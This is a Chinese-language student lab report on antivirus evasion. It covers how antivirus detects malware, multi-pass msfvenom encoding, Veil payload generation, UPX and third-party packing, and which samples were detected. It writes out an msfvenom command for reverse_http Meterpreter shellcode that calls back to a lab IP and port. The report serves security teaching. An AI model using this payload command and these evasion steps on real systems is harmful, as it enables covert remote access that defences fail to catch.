基础问题回答
(1)杀软是如何检测出恶意代码的?
基于特征码的检测
恶意代码常常具有明显的特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码。
启发式恶意软件检测
基于行为的恶意软件检测
如果一个程序的行为是带有恶意的行为,那么这个程序也会被认为是恶意代码。
(2)免杀是做什么?
使用一些方法使得恶意程序不被杀软和防火墙发现,避免被查杀。
(3)免杀的基本方法有哪些?
改变特征码
对恶意代码进行加壳、用其他语言或编译器进行再编译,利用shellcode进行编码
改变攻击行为
基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码
实践
msf编码器
MSF编码器。其功能是对我们攻击载荷文件进行重新的排列编码,改变可执行文件中的代码形状,避免被杀软认出。
msf生成后门(裸奔),运行时,被联想电脑管家检测到危险。(test.exe)
想到使用使用msf多重编码。
这里使用管道让msfvenom对攻击载荷(test1.exe)多重编码,先用shikata_ga_nai编码20次,接着来10次的alpha_upper编码,再来10次的countdown编码。获得test2.exe
在线检测 ,嗯,失败。
veil
通过git克隆的方式对veil-evasion进行安装,长时间的等待和安装,装好后利用它生成payload。报错无法定位到runx.exe,似乎是入口文件,可能安装过程中出现问题。于是重新安装(同样使用git方式)。安装三次依然无法生成。处于绝望状态,突然想到去veil官网看看,惊喜发现,kali下安装的版本是2.8似乎是不再维护了,所以现在是3.x版本的了,尝试安装新版本。
2.8不友好,generate不来哦。。
3.1成功!用veil生成payload。
test1
生成test1.exe后放到主机上,没有检测出来。
运行一下试试。
果然,被查杀了。
shellcode
使用msfvenom生成shellcode :
msfvenom -pwindows/meterpreter/reverse_http lhost=192.168.1.105 lport=5555 -f c
利用c语言编写的shellcode ,编译后获得exe ,...(* ̄0 ̄)ノ没有被发现~金山同志可以反思一下了。。。。
放到在线检测网站上。。
加壳
1.upx加壳
技术太简单,秒被发现。
2.第三方软件加壳
加个壳试试
哈哈,又失败了。。。
实践总结与体会
环境搭建的过程很崩溃。
离实战还差很多。没有足够的伪装,而且生成的很多木马依旧会被一些其他的杀毒软件检测出来。CobaltStrike可以试一下。